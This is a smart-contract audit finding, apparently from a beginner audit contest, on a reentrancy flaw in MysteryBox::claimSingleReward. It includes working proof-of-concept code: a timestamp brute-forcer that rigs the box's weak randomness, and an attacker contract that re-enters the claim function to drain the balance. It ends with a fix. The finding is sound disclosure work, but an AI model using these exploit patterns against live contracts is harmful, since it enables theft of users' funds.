Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in `MysteryBox::claimSingleReward` allows User/Player with non zero value reward to drain contract balance

Summary

The MysteryBox::claimSingleReward function does not comply with the CEI/FREI-PI principle, enabling any user with a non-zero value reward to drain the contract balance. This vulnerability arises because the function updates the rewardsOwned array only after making an external call to msg.sender.

Vulnerability Details

In the claimSingleReward function, the contract performs an external call to the user's address before updating their reward status. This can result in reentrancy attacks, allowing malicious users to exploit the function to claim rewards multiple times.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}

A malicious player, possessing a non-zero reward such as a "Bronze Coin," could implement a fallback or receive function to repeatedly call claimSingleReward, draining the contract balance in the process.

Impact

This vulnerability allows users to potentially drain the entire balance of the contract, leading to significant financial loss.

Proof of Concept

  1. Users buy boxes.

  2. An attacker sets up a contract with a fallback function that calls MysteryBox::claimSingleReward.

  3. The attacker buys a box, opens it, and receives a non-zero reward. The MysteryBox::openBox function can be manipulated to ensure this reward.

  4. The attacker calls MysteryBox::claimSingleReward from their contract, draining the contract balance.

Proof of Code

Add the following code to the TestMysteryBoxTest.t.sol file within the MysteryBoxTest contract:

// @notice Function to calculate which block timestamp to open a box on to guarantee a non-zero value reward
// @param addr: address to get the reward
function calculateWinTimestampValue(address addr) public view returns (uint256) {
uint256 value;
uint256 winTime = block.timestamp;
do {
winTime++;
value = uint256(keccak256(abi.encodePacked(winTime, addr))) % 100;
} while (value < 95);
return winTime;
}
function testReentrancyClaimSingleReward() public {
ReentrancyAttackerClaimSingleReward attacker = new ReentrancyAttackerClaimSingleReward(address(mysteryBox));
uint256 boxPrice = mysteryBox.boxPrice();
vm.deal(address(attacker), boxPrice);
uint256 winningTimestamp = calculateWinTimestampValue(address(attacker));
vm.warp(winningTimestamp);
uint256 startingContractBalance = address(mysteryBox).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(mysteryBox).balance;
uint256 rewardValue = attacker.rewardValue();
uint256 totalMysteryBoxValue = startingContractBalance + boxPrice;
uint256 numberOfDuplicates = totalMysteryBoxValue / rewardValue;
uint256 totalWithdrawnToAttacker = rewardValue * numberOfDuplicates;
assertEq(endingAttackerBalance, totalWithdrawnToAttacker);
assertEq(endingContractBalance, totalMysteryBoxValue - totalWithdrawnToAttacker);
}

Add the following code to the TestMysteryBoxTest.t.sol file:

contract ReentrancyAttackerClaimSingleReward {
MysteryBox public mysteryBox;
uint256 public boxPrice;
uint256 public rewardValue;
constructor (address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
boxPrice = mysteryBox.boxPrice();
}
function attack() external payable {
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
rewardValue = mysteryBox.getRewards()[0].value;
mysteryBox.claimSingleReward(0);
}
receive() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimSingleReward(0);
}
}
fallback() external payable {
if (address(mysteryBox).balance > rewardValue) {
mysteryBox.claimSingleReward(0);
}
}
}

Recommended Mitigation

To prevent this vulnerability, the MysteryBox::claimSingleReward function should update the rewardsOwned array before making any external calls, as shown below:

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!